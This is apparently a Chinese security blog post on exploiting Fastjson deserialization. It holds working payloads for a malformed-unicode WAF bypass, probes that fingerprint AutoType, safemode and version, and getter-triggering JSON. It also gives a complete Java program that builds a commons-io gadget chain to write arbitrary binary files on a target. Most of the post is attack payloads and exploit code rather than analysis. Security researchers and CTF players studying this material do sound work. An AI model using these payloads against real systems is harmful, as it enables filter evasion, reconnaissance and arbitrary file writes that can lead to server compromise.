原创 米老鼠 2025-03-19 13:48 北京
FastJson炒一炒冷饭
(终于想起来了账号密码)
unicode 绕waf
笔者在24年做一道ctf fastjson题的时候,碰巧发现了这个特性,当时题目限制字符\x \0,于是笔者尝试跟了一下fastjson解析unicodecom.alibaba.fastjson.parser.JSONLexerBase#scanString
case 'u':
charu1=this.next();
charu2=this.next();
charu3=this.next();
charu4=this.next();
intval= Integer.parseInt(newString(newchar[]{u1, u2, u3, u4}), 16);
this.putChar((char)val);
continue; 这里使用Integer.parseInt把\u后的四个字符转为int类型,在parseInt方法中对字符串的第一个字符有特殊的处理,若字符串的第一个字符小于 '0',则可能是 '+' 或者 '-',关键点在于第一个字符是 '+' 时,则将索引 i 加 1,跳过该字符,同时不对转换结果造成影响.
if (len > 0) {
charfirstChar= s.charAt(0);
if (firstChar < '0') { // Possible leading "+" or "-"
if (firstChar == '-') {
negative = true;
limit = Integer.MIN_VALUE;
} elseif (firstChar != '+')
throw NumberFormatException.forInputString(s);
if (len == 1) // Cannot have lone "+" or "-"
throw NumberFormatException.forInputString(s);
i++;
}
......
}这样我们就可以构造payload
{"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065" 这样的畸形unicode可以绕过几乎目前市面上大部分waf,另外我们可以注意到在第一个字符是 '-'时虽然也会跳过字符,但是在后续的代码中返回值是一个负数,如果我们有五个字符那么可以构造\u-ffbf(转成int 是65,字符串为A),但是fastjson限制了读取4个字符,我们没办法构造出想要的字符串。
safemode 判断
开启safemode时payload报错
{"zero":{"@type":"java.lang.String"""}}}1.2.83 版本判断
首先需要判断是否开启AutoType,有下面两个payload
{"xxx":{"@type":"java.lang.Class","val":""}}{"xxx":{"@type":"Random.String"}}在开启AutoType的时候 payload1会报错autoType is not support. java.lang.Class
payload2不报错。未开启AutoType的时候 payload1不报错,payload2报错autoType is not support. Random.String
未开启AutoType时使用下面payload判断版本
{"xxx":{"@type":"Test.TestException"}}版本为1.2.83时 payload不报错,24<= version<=80 报错,源自于在1.2.83版本checkAutoType添加了下面的代码,类名结尾为Exception或Error会直接返回null,而不会抛出异常autoType is not support
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}判断反序列化点是否存在期望类
下面这种写法是存在期望类的
JSONObject.parseObject(payload,Test.class)还有一种是spring配置fastjson解析参数,在spring框架层面反序列化参数时就添加了期望类。我们可以使用下面payload来测试是否存在期望类,在请求原有参数基础上添加下面的payload
{"@type":"com.alibaba.fastjson.support.geo.Feature"}
如原始请求参数为
{"username":"admin","password":"123456"}修改后为
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"username": "admin",
"password": "123456"
}在原始请求参数为数组可修改payload为:
[
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"username": "admin",
"password": "123456"
}
] 若报错则反序列化点存在期望类,另外需要注意的是这个com.alibaba.fastjson.support.geo.Feature
类在1.2.68版本才引入,同时也可以利用这个类存不存在来判断版本是否低于1.2.68
还有一个特殊的payload
{{}:{}}结合原始请求参数构造
{
{}: {},
"username": "admin",
"password": "123456"
}若存在期望类且类型不是Map及其子类,则会报错
{
"test": {
{
{}: {}
}: ""
},
"username": "admin",
"password": "123456"
}修改为上述参数之后不报错
存在期望类的反序列化点有以下限制:
有一个在存在期望类的反序列化点触发getter的payload,某ctf上学习到的,时间比较久远具体链接忘记了
{
"dd": {
"@type": "java.util.Currency",
"val": {
"currency": {
"w": {
payload
}
}
}
}
}通过java.util.Currency的一些特性触发getter,这个payload有一个缺点是反序列化结果一定报错,在没有报错详情信息的情况下我们很难判断是不是payload部分出了问题
还有一个针对JSONObject.parse()触发getter的payload,笔者从这篇文章中学到 https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"aaa":{
payload
}
}: "xxx"
}通过将payload放在键名处从而触发toString,并且payload被封装进一个JSONObject对象,触发JSONObject对象的toString进而触发getter(大致原理,可能有误),笔者在1.2.68版本测试,存在期望类时并不能直接触发getter,可以利用期望类原有的String类型的成员变量来触发
例如存在期望类User类,有两个String类型的成员变量username、password,那么可以构造
{"username":{
{
"@type": "com.alibaba.fastjson.JSONObject",
"aaa":{
payload
}}: {}
},
"password":"",
} 这样的优点是大多数情况下不会报错,如果报错的话我们可以判断出是payload部分出了问题。另外就是无法使用引用的问题,在存在期望类时,会把反序列化结果转为期望类对象,在使用引用的时候只能引用期望类有的成员变量,大部分情况成员变量是字符串和数字类型,而我们引用的大部分情况是一个对象,这个对象即使我们放在成员变量上,也会转为成员变量的类型,比如我们需要引用org.apache.commons.io.input.BOMInputStream对象调用getBOM方法,对象被转成了String类型调用不到getBOM方法,也就是这种情况下我们没办法使用commons-io去读取文件了。
commons-io 写二进制文件链优化
@jsjcw师傅在GeekCon 2024分享的commons-io写二进制文件的链非常精彩,但是需要多次发包,后续笔者在调试过程中发现可以结合Blackhat 2021 中链的逻辑,构造出一条新的可以写任意数量字符的链
import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
publicclassIoWrite {
publicstaticvoidmain(String[] args)throws IOException {
String payload=getPayload("/tmp/2.jpg","/tmp/1.jpg");
System.out.println(payload);
JSONObject.parseObject(payload);
}
publicstatic String getPayload(String target,String file)throws IOException {
byte[] bytes= Files.readAllBytes(Paths.get(file));
String hexString=bytesToHexString(bytes);
System.out.println(bytes.length+1);
byte[] array = newbyte[bytes.length+1];
String payload="{\"xxx\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\":{\n" +
" \"@type\": \"org.apache.commons.io.input.AutoCloseInputStream\",\n" +
" \"in\": {\n" +
" \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\": {\n" +
" \"@type\": \"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
" \"cs\": {\n" +
// " \"s\": {\n" + //common io 2.2
" \"@type\": \"java.lang.String\"\n" +
" \"%1$s\",\n" +
" \"charset\": \"iso-8859-1\",\n" +
" \"bufferSize\": 1\n" +
" },\n" +
" \"branch\": {\n" +
" \"@type\": \"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\": {\n" +
" \"@type\": \"org.apache.commons.io.output.LockableFileWriter\",\n" +
" \"file\": \"%2$s\",\n" +
" \"charset\": \"iso-8859-1\",\n" + //>=2.7
" \"encoding\": \"iso-8859-1\",\n" + //<=2.6
" \"append\": false\n" +
" },\n" +
// " \"decoder\": {\"@type\":\"com.alibaba.fastjson.util.UTF8Decoder\"},\n" +
" \"charset\":\"iso-8859-1\",\n" +
" \"charsetName\":\"iso-8859-1\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"closeBranch\": true\n" +
" }\n" +
" },\n" +
" \"include\":true,\n" +
" \"boms\":[{\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"iso-8859-1\",\n" +
" \"bytes\":%3$s\n" +
" }],\n" +
" \"x\":{\"$ref\":\"$.xxx.bOM\"}\n" +
"}}";
return String.format(payload,hexString,target,Arrays.toString(array));
}
publicstatic String bytesToHexString(byte[] bytes) {
StringBuilderhexString=newStringBuilder();
for (byte b : bytes) {
hexString.append("\\x").append(String.format("%02x", b));
}
return hexString.toString();
}
}如果反序列化点存在期望类也可以改成下面这样,虽然报错但是不影响文件的写入
{
"dd":{
"@type":"java.util.Currency",
"val":{
"currency":{
"w":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"\xff",
"charset": "iso-8859-1",
"bufferSize": 1
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/1.jpg",
"encoding": "iso-8859-1",
"charset": "iso-8859-1",
"append": false
},
"charset":"iso-8859-1",
"charsetName":"iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "iso-8859-1",
"bytes":[0, 0,0]
}]
}
}
}
}
}另外一点需要注意的是 写二进制文件版本commons-io版本需要>2.4,这是因为fastjson在选取构造方法时存在随机性,通过笔者尝试org.apache.commons.io.output.WriterOutputStream
构造方法顺序与commons-io版本有很大关系,似乎在2.4及之前的版本中带有CharsetDecoder类型参数的方法始终是第一个获取到的
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)这就导致我们要写二进制文件的话需要构造出iso-8859-1 的CharsetDecoder,笔者经过尝试未能构造出
最后
1、以上均为笔者通过学习各位师傅的经验并进一步研究的结果,如有错误还请指正。
2、因笔者精力有限,以上payload测试大部分是在1.2.68版本,其他版本可能会有不同结果,如有不同的结果还请指正。
参考
[1]GeekCon 2024 SpringBoot之殇(https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf)
[2] Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(https://paper.seebug.org/1698/#3commons-io)
[3] 原创 | 网鼎杯ezjava利用分析(https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA)
